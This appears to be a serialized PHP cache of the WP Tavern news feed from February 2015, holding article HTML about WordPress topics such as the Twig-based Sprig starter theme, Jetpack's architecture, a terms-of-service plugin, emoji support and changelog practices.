src=\"http://i0.wp.com/wptavern.com/wp-content/uploads/2015/02/sprig.png?resize=857%2C390\" alt=\"sprig\" class=\"aligncenter size-full wp-image-38303\" /></a></p>\n<p>Those who are new to WordPress theming are often confused by the mixture of PHP and HTML markup in templates. It&#8217;s easy to accidentally break theme functionality when everything is placed in the same file.</p>\n<p>For that reason, there&#8217;s a strong contingency of developers who prefer to integrate the <a href=\"http://twig.sensiolabs.org/\" target=\"_blank\">Twig</a> PHP templating engine with WordPress, using a starter theme or via plugins like <a href=\"https://wordpress.org/plugins/twigpress/\" target=\"_blank\">TwigPress</a>, <a href=\"https://wordpress.org/plugins/timber-library/\" target=\"_blank\">Timber</a>, or the like. Fans of Twig appreciate its concise syntax and find that it makes templates more readable.</p>\n<p><a href=\"http://sprigwp.com/\" target=\"_blank\">Sprig</a> is a new Twig-based starter theme for WordPress created by developer <a href=\"http://zach-adams.com/\" target=\"_blank\">Zach Adams</a>. The theme incorporates the power and flexibility of Twig templating to speed up development and make WordPress templates easier to edit.</p>\n<p>Here&#8217;s an example of what the WordPress loop looks like in Sprig:</p>\n<pre class=\"brush: php; light: true; title: ; notranslate\">{% for post in posts() %}\n    {% include \'content/content-excerpt.twig\' %}\n{% endfor %}</pre>\n<p>For those who have never worked with a templating engine, the syntax may look rather unfamiliar, but the advantage is that it allows you to separate the necessities of getting/manipulating your data and rendering it out. Below is an example of the WordPress loop with arguments:</p>\n<pre class=\"brush: php; light: true; title: ; notranslate\">\n{% for post in posts({\n    \'post_type\':\'post\',\n    \'posts_per_page\':4\n}) %}\n    {% include \'content/content-excerpt.twig\' %}\n{% endfor %}</pre>\n<p>&nbsp;</p>\n<h5>Sprig Features</h5>\n<p>Sprig utilizes Bower for frontend package management. It comes pre-loaded with either <a href=\"https://github.com/zach-adams/sprig\" target=\"_blank\">Bootstrap</a> or <a href=\"https://github.com/zach-adams/sprig-foundation\" target=\"_blank\">Foundation</a> to get started. Sprig uses <a href=\"http://gulpjs.com/\" target=\"_blank\">Gulp</a> to automate tasks such as compiling, concatenating, and minifying CSS and Javascript.</p>\n<p>The theme was developed using the best parts of <a href=\"http://underscores.me/\" target=\"_blank\">Underscores</a>, <a href=\"http://roots.io/starter-theme/\" target=\"_blank\">Roots</a>, and <a href=\"https://wordpress.org/plugins/twigpress/\" target=\"_blank\">TwigPress</a>, which bring in a number of additional functions and scripts useful for theme development.</p>\n<h3>Does Twig Introduce a New Layer of Abstraction?</h3>\n<p>The main argument some theme developers have against using a templating engine like Twig is that it introduces a new layer of abstraction, as well as another thing to learn on top of WordPress&#8217; usual way of structuring template files. Some believe that the <a href=\"http://en.wikipedia.org/wiki/Separation_of_concerns\" target=\"_blank\">separation of concerns</a> prohibits a theme developer from gaining a true understanding of how WordPress works.</p>\n<p>Adams clearly states that the purpose of Sprig is to help theme developers spend less time wading through template markup code and instead focus their efforts on creating beautiful themes. The Twig templating engine may not be your cup of tea, but many developers find that it helps them produce cleaner template code that is easier to reuse.</p>\n<p>If <a href=\"http://sprigwp.com/\" target=\"_blank\">Sprig</a> helps get you from here to there faster, then it might be worth incorporating into your theme development workflow. Check out the full <a href=\"https://github.com/zach-adams/sprig\" target=\"_blank\">documentation on GitHub</a>. The project is still under active development and Adams recommends you test Sprig heavily before using it in production.</p>\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}s:7:\"pubDate\";a:1:{i:0;a:5:{s:4:\"data\";s:31:\"Mon, 02 Feb 2015 20:31:04 +0000\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}}s:32:\"http://purl.org/dc/elements/1.1/\";a:1:{s:7:\"creator\";a:1:{i:0;a:5:{s:4:\"data\";s:13:\"Sarah Gooding\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}}}}i:47;a:6:{s:4:\"data\";s:13:\"\n	\n	\n	\n	\n	\n	\n\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";s:5:\"child\";a:2:{s:0:\"\";a:5:{s:5:\"title\";a:1:{i:0;a:5:{s:4:\"data\";s:80:\"WPTavern: Part 1: George Stephanis on Why Jetpack is Not a Collection of Plugins\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}s:4:\"guid\";a:1:{i:0;a:5:{s:4:\"data\";s:28:\"http://wptavern.com/?p=38269\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}s:4:\"link\";a:1:{i:0;a:5:{s:4:\"data\";s:89:\"http://wptavern.com/part-1-george-stephanis-on-why-jetpack-is-not-a-collection-of-plugins\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}s:11:\"description\";a:1:{i:0;a:5:{s:4:\"data\";s:2836:\"<a href=\"http://i0.wp.com/wptavern.com/wp-content/uploads/2015/02/JetpackPluginCollectionFeaturedImage.png\" rel=\"prettyphoto[38269]\"><img class=\"size-full wp-image-38279\" src=\"http://i0.wp.com/wptavern.com/wp-content/uploads/2015/02/JetpackPluginCollectionFeaturedImage.png?resize=638%2C200\" alt=\"Jetpack Plugin Collection Featured Image\" /></a>photo credit: <a href=\"https://www.flickr.com/photos/northbaywanderer/121971388/\">northbaywanderer</a> &#8211; <a href=\"http://creativecommons.org/licenses/by-sa/2.0/\">cc</a>\n<p>George Stephanis, who is a member of the Jetpack Pit Crew, published a post over the weekend that explains why <a title=\"http://stephanis.info/2015/01/31/why-jetpack-isnt-a-collection-of-plugins-part-the-first/\" href=\"http://stephanis.info/2015/01/31/why-jetpack-isnt-a-collection-of-plugins-part-the-first/\">Jetpack is not a collection of plugins</a>. According to Stephanis, dependency management in WordPress sucks. In a nutshell, a dependency is when a library, framework, component, theme, or plugin requires the existence of another to function. He gives a practical example of dependencies that highlights how quickly things could get messy.</p>\n<blockquote><p>Now, if <strong>Likes</strong>, <strong>Single Sign On</strong>, <strong>After the Deadline</strong>, <strong>Post by Email</strong> and others were their own plugins, and connected to a separate <strong>Jetpack Core</strong> plugin, versioning gets tricky.  It could work, in theory, if every plugin is kept up to date, always and forever.  But the instant that the user is using, say, an outdated version of <strong>Subscriptions</strong> with an outdated <strong>Jetpack Core</strong> (which work perfectly together), and then installs the up-to-date <strong>WP.me Shortlinks</strong> plugin, things could break because <strong>WP.me Shortlinks</strong> expects a more up-to-date <strong>Jetpack Core</strong>.</p>\n<p>So you go ahead and update <strong>Jetpack Core</strong> to current, but now <strong>Subscriptions</strong> — which used to work perfectly — now breaks because there was a method change in <strong>Jetpack Core</strong>, that is fixed in the up-to-date version of <strong>Subscriptions</strong>, but the user isn’t running the up-to-date version.  Horrible UX.</p></blockquote>\n<p>He goes on to describe the installation flow for a plugin that needs Jetpack Core to function. A plugin that depends on Jetpack Core adds at least four additional steps to the installation flow.</p>\n<p>It&#8217;s a good article that answers the technical side of a commonly asked question. It also gives insight to those who may be thinking of creating alternatives to Jetpack using a similar model. In part two of the series, Stephanis plans to write about the variety of other reasons Jetpack is not a collection of plugins.</p>\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}s:7:\"pubDate\";a:1:{i:0;a:5:{s:4:\"data\";s:31:\"Mon, 02 Feb 2015 17:46:14 +0000\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}}s:32:\"http://purl.org/dc/elements/1.1/\";a:1:{s:7:\"creator\";a:1:{i:0;a:5:{s:4:\"data\";s:13:\"Jeff Chandler\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}}}}i:48;a:6:{s:4:\"data\";s:13:\"\n	\n	\n	\n	\n	\n	\n\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";s:5:\"child\";a:2:{s:0:\"\";a:5:{s:5:\"title\";a:1:{i:0;a:5:{s:4:\"data\";s:83:\"WPTavern: How to Automatically Create Terms of Service and Privacy Policy Documents\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}s:4:\"guid\";a:1:{i:0;a:5:{s:4:\"data\";s:28:\"http://wptavern.com/?p=38257\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}s:4:\"link\";a:1:{i:0;a:5:{s:4:\"data\";s:93:\"http://wptavern.com/how-to-automatically-create-terms-of-service-and-privacy-policy-documents\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}s:11:\"description\";a:1:{i:0;a:5:{s:4:\"data\";s:3716:\"<p><a href=\"http://i0.wp.com/wptavern.com/wp-content/uploads/2015/02/AutoTermsOfServicePluginFeaturedImage.png\" rel=\"prettyphoto[38257]\"><img class=\"aligncenter size-full wp-image-38262\" src=\"http://i0.wp.com/wptavern.com/wp-content/uploads/2015/02/AutoTermsOfServicePluginFeaturedImage.png?resize=838%2C272\" alt=\"Auto Terms of Service Plugin Featured Image\" /></a></p>\n<p>If you own or operate a business and need a Terms of Service, Privacy, or various other legal documents, check out the <a title=\"https://github.com/Automattic/legalmattic\" href=\"https://github.com/Automattic/legalmattic\">Legalmattic repository</a> on Github. In 2014, Automattic open sourced all of its legal documents, including <a title=\"http://wptavern.com/automattic-open-sources-its-dmca-process-docs-on-github\" href=\"http://wptavern.com/automattic-open-sources-its-dmca-process-docs-on-github\">its DMCA takedown notice</a>. If you choose an Automattic legal document as a foundation to write your own, consider using the <a title=\"https://wordpress.org/plugins/auto-terms-of-service-and-privacy-policy/\" href=\"https://wordpress.org/plugins/auto-terms-of-service-and-privacy-policy/\">Auto Terms of Service and Privacy Policy plugin. </a></p>\n<p>Created by <a title=\"http://tourkick.com/\" href=\"http://tourkick.com/\">Clifford Paulick</a>, this plugin places the information entered into a version of Automattic&#8217;s <a href=\"http://en.wordpress.com/tos/\" rel=\"nofollow\">Terms of Service</a> and <a href=\"http://automattic.com/privacy/\" rel=\"nofollow\">Privacy Policy</a>, both available under the <a href=\"http://creativecommons.org/licenses/by-sa/3.0/\" rel=\"nofollow\">Creative Commons Sharealike</a> license. The documents are modified to exclude specifics to Automattic, such as mentions of Jetpack, WordPress.com, and VIP. Each document has generic language that can apply to most sites and service providers, including single sites, subscription sites, blog networks, and others.</p>\n<a href=\"http://i2.wp.com/wptavern.com/wp-content/uploads/2015/02/AutoTermsOfServicePluginSettings.png\" rel=\"prettyphoto[38257]\"><img class=\"size-full wp-image-38258\" src=\"http://i2.wp.com/wptavern.com/wp-content/uploads/2015/02/AutoTermsOfServicePluginSettings.png?resize=784%2C859\" alt=\"Add Your Company Info\" /></a>Add Your Company Info\n<p>Configuration is as simple as placing company information into the appropriate fields. Once entered, you&#8217;ll need to turn on the Display setting at the top to enable the three different shortcodes.</p>\n<ul>\n<li>[my_terms_of_service_and_privacy_policy]</li>\n<li>[my_terms_of_service]</li>\n<li>[my_privacy_policy]</li>\n</ul>\n<p>Here&#8217;s what the Tavern terms of service page looks like using the terms of service shortcode.</p>\n<a href=\"http://i2.wp.com/wptavern.com/wp-content/uploads/2015/02/AutoTermsOfServicePluginResult.png\" rel=\"prettyphoto[38257]\"><img class=\"size-full wp-image-38259\" src=\"http://i2.wp.com/wptavern.com/wp-content/uploads/2015/02/AutoTermsOfServicePluginResult.png?resize=731%2C826\" alt=\"Tavern Terms of Use Page\" /></a>Tavern Terms of Use Page\n<p>The plugin works as advertised and is a convenient way to provide legal documents if you&#8217;re a service provider like Automattic. However, if you need to fine tune the results, you can either copy the output from the shortcode and paste it into the page or use the source document from the <a title=\"https://github.com/Automattic/legalmattic\" href=\"https://github.com/Automattic/legalmattic\">Legalmattic repository</a>. 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Recent articles include:</p>\n<ul>\n<li><a title=\"http://wpandlegalstuff.com/using-wordpress-trademarks-business-product-service/\" href=\"http://wpandlegalstuff.com/using-wordpress-trademarks-business-product-service/\">Using the WordPress trademarks for your business, product or service</a></li>\n<li><a title=\"http://wpandlegalstuff.com/gpl-wpscan-vane/\" href=\"http://wpandlegalstuff.com/gpl-wpscan-vane/\">The GPL and the story of WPScan and Vane</a></li>\n<li><a title=\"http://wpandlegalstuff.com/automattic-open-licensing-open-data/\" href=\"http://wpandlegalstuff.com/automattic-open-licensing-open-data/\">Automattic, open licensing and open data</a></li>\n</ul>\n<p>His take on <a title=\"http://wpandlegalstuff.com/understanding-gpl-licensing-wordpress/\" href=\"http://wpandlegalstuff.com/understanding-gpl-licensing-wordpress/\">understanding the GPL licensing of WordPress</a> is a great primer for anyone not familiar with how it works. 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I highly suggest you subscribe to <a title=\"http://wpandlegalstuff.com/feed/\" href=\"http://wpandlegalstuff.com/feed/\">his RSS feed</a> so you don&#8217;t miss his next post on WordPress themes, the GPL, and the conundrum of derivative works.</p>\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}s:7:\"pubDate\";a:1:{i:0;a:5:{s:4:\"data\";s:31:\"Mon, 02 Feb 2015 16:37:45 +0000\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}}s:32:\"http://purl.org/dc/elements/1.1/\";a:1:{s:7:\"creator\";a:1:{i:0;a:5:{s:4:\"data\";s:13:\"Jeff Chandler\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}}}}}}}}}}}}}}}s:4:\"type\";i:128;s:7:\"headers\";a:10:{s:6:\"server\";s:5:\"nginx\";s:4:\"date\";s:29:\"Sun, 15 Feb 2015 18:48:51 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The event will be held at the <a href=\"http://ozs.vse.cz/english/\" target=\"_blank\">University of Economics</a>. Organizers are planning two tracks of presentations: one for end users and bloggers and the other for WordPress developers and programmers.</p>\n<p>Co-organizer <a href=\"https://twitter.com/vladamusilek\" target=\"_blank\">Vladislav Musílek</a> said that the team is expecting 300-350 attendees. &#8220;The Czech WordPress community is young and we started meeting in the summer of 2013,&#8221; he said. &#8220;There were three small meetups with a maximum of 30 attendees, but our first WordCamp Prague in 2014 had 230 attendees.&#8221;</p>\n<p>Musílek is one of three local organizers who decided to hold a larger meetup every three months, with smaller ones taking place monthly. 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This gets the remaining ~40% of sites nearly all the way there.</p>\n<h3>Twemoji Fallback</h3>\n<p>The feature plugin proposes that WordPress adopt the <a href=\"https://github.com/twitter/twemoji\" target=\"_blank\">Twemoji</a> image set as a fallback for browsers that don&#8217;t display emoji natively, which reduces the extra load, especially for mobile browsers. Twitter open sourced its Twemoji 872 character image set last November, simultaneously partnering with Automattic to <a href=\"http://wptavern.com/wordpress-com-adds-emoji-support-coming-soon-to-jetpack\" target=\"_blank\">bring emoji to WordPress.com users</a>.</p>\n<p>Pendergast reports that the plugin is close to being finished, with only a handful of remaining <a href=\"https://github.com/pento/x1f4a9/issues\" target=\"_blank\">bugs to discuss</a>. The plugin has already been briefly reviewed by the accessibility team and requires only a few minor changes. The issue of where to host the images is still under discussion, and Pendergast and contributors are considering different options:</p>\n<blockquote><p>They’re currently hosted on WP.com’s CDN, but we’re investigating other options for where to host them, probably the W.org CDN. Given that the wp-admin Dashboard also loads things from Google, I have no problem with hosting them on an external CDN. There will naturally be a filter on the URL, to allow local hosting for sites that don’t want to use the CDN.</p></blockquote>\n<p>WordPress is on track to provide more comprehensive support for emoji in the near future. Pendergast says the project is on target for the upcoming 4.2 release.</p>\n<p>In the meantime, if you&#8217;d like to add emoji support to your self-hosted WordPress site, <a href=\"http://wptavern.com/new-plugin-adds-open-source-emoji-one-support-to-wordpress\" target=\"_blank\">WP Emoji One</a> is a good option. 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Zapier is a service that acts as an integration point for more than 300 applications. <a title=\"https://zapier.com/zapbook/gravity-forms/\" href=\"https://zapier.com/zapbook/gravity-forms/\">GravityForms</a>, <a title=\"http://wptavern.com/wp-remote-now-supports-zapier\" href=\"http://wptavern.com/wp-remote-now-supports-zapier\">WP Remote</a>, and <a title=\"http://www.woothemes.com/products/woocommerce-zapier/\" href=\"http://www.woothemes.com/products/woocommerce-zapier/\">WooCommerce</a> are just a few examples of popular WordPress plugins and services that support Zapier. The following video explains how it works.</p>\n<p><span class=\"embed-youtube\"></span></p>\n<p>We&#8217;re going to discuss the company&#8217;s history, how the service works, and interesting integrations people are creating with it. If you have questions you&#8217;d like us to ask Foster, submit them in the comments.</p>\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}s:7:\"pubDate\";a:1:{i:0;a:5:{s:4:\"data\";s:31:\"Tue, 17 Feb 2015 02:30:01 +0000\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}}s:32:\"http://purl.org/dc/elements/1.1/\";a:1:{s:7:\"creator\";a:1:{i:0;a:5:{s:4:\"data\";s:13:\"Jeff Chandler\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}}}}i:4;a:6:{s:4:\"data\";s:13:\"\n	\n	\n	\n	\n	\n	\n\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";s:5:\"child\";a:2:{s:0:\"\";a:5:{s:5:\"title\";a:1:{i:0;a:5:{s:4:\"data\";s:52:\"WPTavern: The Dude: A Fun Alternative to Hello Dolly\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}s:4:\"guid\";a:1:{i:0;a:5:{s:4:\"data\";s:28:\"http://wptavern.com/?p=39104\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}s:4:\"link\";a:1:{i:0;a:5:{s:4:\"data\";s:61:\"http://wptavern.com/the-dude-a-fun-alternative-to-hello-dolly\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}s:11:\"description\";a:1:{i:0;a:5:{s:4:\"data\";s:2280:\"<p><a href=\"http://i0.wp.com/wptavern.com/wp-content/uploads/2015/02/the-dude.jpg\" rel=\"prettyphoto[39104]\"><img src=\"http://i0.wp.com/wptavern.com/wp-content/uploads/2015/02/the-dude.jpg?resize=670%2C290\" alt=\"the-dude\" class=\"aligncenter size-full wp-image-39110\" /></a></p>\n<p>This isn&#8217;t just a plugin, man. It&#8217;s <a href=\"https://wordpress.org/plugins/the-dude/\" target=\"_blank\">The Dude</a>, so that&#8217;s what you call it. That, or His Dudeness… Duder… or El Duderino, if, you know, you&#8217;re not into the whole brevity thing.</p>\n<p>It symbolizes the realization of an entire modern lazy hippie bowling amateur private investigator generation summed up in two words spoken most famously by Jeff Bridges.</p>\n<p>The Dude was created by WordPress developer <a href=\"http://kosvrouvas.com/\" target=\"_blank\">Kostas Vrouvas</a>, who seemed to have a bit of free time on his hands. It takes inspiration (and some code) from Matt Mullenweg&#8217;s <a href=\"https://wordpress.org/plugins/hello-dolly/\" target=\"_blank\">Hello Dolly</a> plugin, replacing the musical&#8217;s lyrics at the top of admin screens with quotes from <a href=\"http://www.imdb.com/title/tt0118715/\">The Big Lebowski</a>.</p>\n<p>We tested the plugin and found that it works flawlessly. <a href=\"https://www.youtube.com/watch?v=VLR_TDO0FTg\" target=\"_blank\">The royal &#8220;we&#8221;</a>. You know, the editorial&#8230;</p>\n<p>Some of the random Lebowski quotes so far include:</p>\n<ul>\n<li>Walter, he peed on my rug!</li>\n<li>And, you know, he’s got emotional problems, man.</li>\n<li>Well, that&#8217;s like, your opinion, man.</li>\n<li>Also, my rug was stolen.</li>\n<li>You&#8217;re Mr. Lebowski. I&#8217;m the Dude.</li>\n<li>Oh, the usual. I bowl. Drive around. The occasional acid flashback.</li>\n<li>Mr. Treehorn treats objects like women, man.</li>\n<li>Hey, careful, man, there&#8217;s a beverage here!</li>\n</ul>\n<p>Amusing, yes? So if you prefer <a href=\"http://wptavern.com/ https://www.youtube.com/watch?v=sft3VHxru2s\" target=\"_blank\">Creedence</a> to Louis Armstrong, then you may want to mix yourself a white russian and activate <a href=\"https://wordpress.org/plugins/the-dude/\" target=\"_blank\">The Dude</a> on your WordPress blog.</p>\n<p>It really ties the site together.</p>\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}s:7:\"pubDate\";a:1:{i:0;a:5:{s:4:\"data\";s:31:\"Tue, 17 Feb 2015 00:53:52 +0000\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}}s:32:\"http://purl.org/dc/elements/1.1/\";a:1:{s:7:\"creator\";a:1:{i:0;a:5:{s:4:\"data\";s:13:\"Sarah Gooding\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}}}}i:5;a:6:{s:4:\"data\";s:13:\"\n	\n	\n	\n	\n	\n	\n\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";s:5:\"child\";a:2:{s:0:\"\";a:5:{s:5:\"title\";a:1:{i:0;a:5:{s:4:\"data\";s:60:\"WPTavern: Why WordPress Job Titles Don’t Mean Much Anymore\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}s:4:\"guid\";a:1:{i:0;a:5:{s:4:\"data\";s:28:\"http://wptavern.com/?p=39069\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}s:4:\"link\";a:1:{i:0;a:5:{s:4:\"data\";s:67:\"http://wptavern.com/why-wordpress-job-titles-dont-mean-much-anymore\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}s:11:\"description\";a:1:{i:0;a:5:{s:4:\"data\";s:3590:\"<a href=\"http://i2.wp.com/wptavern.com/wp-content/uploads/2015/02/JobTitleFeaturedImage.png\" rel=\"prettyphoto[39069]\"><img class=\"size-full wp-image-39089\" src=\"http://i2.wp.com/wptavern.com/wp-content/uploads/2015/02/JobTitleFeaturedImage.png?resize=650%2C200\" alt=\"Job Titles Featured Image\" /></a>photo credit: <a href=\"http://www.flickr.com/photos/58871905@N03/5565517971\">I love &#8217;84</a> &#8211; <a href=\"https://creativecommons.org/licenses/by/2.0/\">(license)</a>\n<p>Mario Peshev published a great article that looks at where the WordPress community stands on <a title=\"http://devwp.eu/wordpress-job-titles-skills-stand/\" href=\"http://devwp.eu/wordpress-job-titles-skills-stand/\">job titles and skills</a>. Peshev explains why titles are out of control and how they don&#8217;t match their expected skill sets.</p>\n<blockquote><p>The problem with a number of general titles is that they are overused and it is no longer clear what the real meaning and level of expertise is. Moreover, they are so general, that it’s easy to be fooled into misusing them, seeing how many people just tag themselves in those categories.</p></blockquote>\n<p>I find it fascinating we&#8217;re having conversations on what people in the WordPress ecosystem call themselves. This is a big problem for people looking for WordPress experts who are routinely let down, because the people they&#8217;re hiring don&#8217;t actually have the skills required to get the job done.</p>\n<p>In some ways, the conversation circles back to the idea of having a <a title=\"http://wptavern.com/should-automattic-create-and-manage-a-wordpress-certification-program\" href=\"http://wptavern.com/should-automattic-create-and-manage-a-wordpress-certification-program\">WordPress certification program</a>. With a certification program, a document would clarify a person&#8217;s proficiency in WordPress. However, I think it opens up a new can of worms and isn&#8217;t the only solution.</p>\n<h2>Comparing a Corporate World to WordPress</h2>\n<p>In a typical corporation, titles are clearly laid out and each one has a set of skills attached to it. Employees know what they need to learn to get promoted to the next level. Employees also know the skills a person has with a particular title due to standards that dictate how it&#8217;s earned. In the WordPress ecosystem, titles are not earned, but rather, routinely made up. For example, I&#8217;ve used WordPress for more than seven years and consider myself a WordPress Tinkerer.</p>\n<p>Peshev outlines three distinct problems with the lack of standards, best practices, and business know-how in the WordPress community.</p>\n<ol>\n<li>Serious clients can&#8217;t find experts since everyone is an expert.</li>\n<li>Experts don&#8217;t get approached for larger systems (due to (1) ) and their time is wasted by people with the wrong perception of <em>expert</em>.</li>\n<li>The lack of satisfied clients and contractors means fewer customers are willing to invest in WordPress, fewer contractors are able to dedicate time back to WordPress, and there are fewer products developed as a result of WordPress driven projects.</li>\n</ol>\n<p>When looking at the big picture, the situation is a mess. It seems everyone has a WordPress title with no clear way to determine the skills that back it. Outside of some sort of regulation, I don&#8217;t see how the situation can improve. Perhaps the community can rally together to create a list of titles and assign appropriate skills to them? If you use a title to express your skills and knowledge to potential clients, what is it?</p>\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}s:7:\"pubDate\";a:1:{i:0;a:5:{s:4:\"data\";s:31:\"Mon, 16 Feb 2015 23:24:00 +0000\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}}s:32:\"http://purl.org/dc/elements/1.1/\";a:1:{s:7:\"creator\";a:1:{i:0;a:5:{s:4:\"data\";s:13:\"Jeff Chandler\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}}}}i:6;a:6:{s:4:\"data\";s:13:\"\n	\n	\n	\n	\n	\n	\n\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";s:5:\"child\";a:2:{s:0:\"\";a:5:{s:5:\"title\";a:1:{i:0;a:5:{s:4:\"data\";s:93:\"WPTavern: Keep a CHANGELOG Project Aims to Standardize Best Practices for Writing Change Logs\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}s:4:\"guid\";a:1:{i:0;a:5:{s:4:\"data\";s:28:\"http://wptavern.com/?p=39051\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}s:4:\"link\";a:1:{i:0;a:5:{s:4:\"data\";s:103:\"http://wptavern.com/keep-a-changelog-project-aims-to-standardize-best-practices-for-writing-change-logs\";s:7:\"attribs\";a:0:{}s:8:\"xml_base\";s:0:\"\";s:17:\"xml_base_explicit\";b:0;s:8:\"xml_lang\";s:0:\"\";}}s:11:\"description\";a:1:{i:0;a:5:{s:4:\"data\";s:3140:\"<p>A change log is the quickest, most convenient way for users and contributors to identify significant changes in a project as it moves from one version to the next. The log exists to keep users informed.</p>\n<p>Unfortunately, many open source project leaders have little motivation to provide a meaningful CHANGELOG file and are purely focused on shipping the code. Instead of writing clear, understandable logs for a release, many developers resort to dumping git logs, which are often rife with messy commit messages, into the CHANGELOG file.</p>\n<p><a href=\"http://olivierlacan.com/\" target=\"_blank\">Olivier Lacan</a>, software engineer at <a href=\"https://www.codeschool.com/\" target=\"_blank\">Code School</a>, has created a site and corresponding GitHub repository called <a href=\"http://keepachangelog.com/\" target=\"_blank\">Keep a CHANGELOG</a>, with an extensive collection of recommendations for writing better change logs.</p>\n<p><a href=\"http://i0.wp.com/wptavern.com/wp-content/uploads/2015/02/keep-a-changelog.png\" rel=\"prettyphoto[39051]\"><img src=\"http://i0.wp.com/wptavern.com/wp-content/uploads/2015/02/keep-a-changelog.png?resize=1025%2C788\" alt=\"keep-a-changelog\" class=\"aligncenter size-full wp-image-39070\" /></a></p>\n<p>The project page offers a variety of tips for improving change logs, i.e. how to list releases, recommended date format, sections and labels for classifying changes, and file naming convention.</p>\n<p>One helpful tip Lacan offers, which isn&#8217;t commonly seen among even the finest, hand-crafted CHANGELOGs, is the recommendation for keeping an &#8220;Unreleased&#8221; section at the top. This helps users track for potential changes in progress for 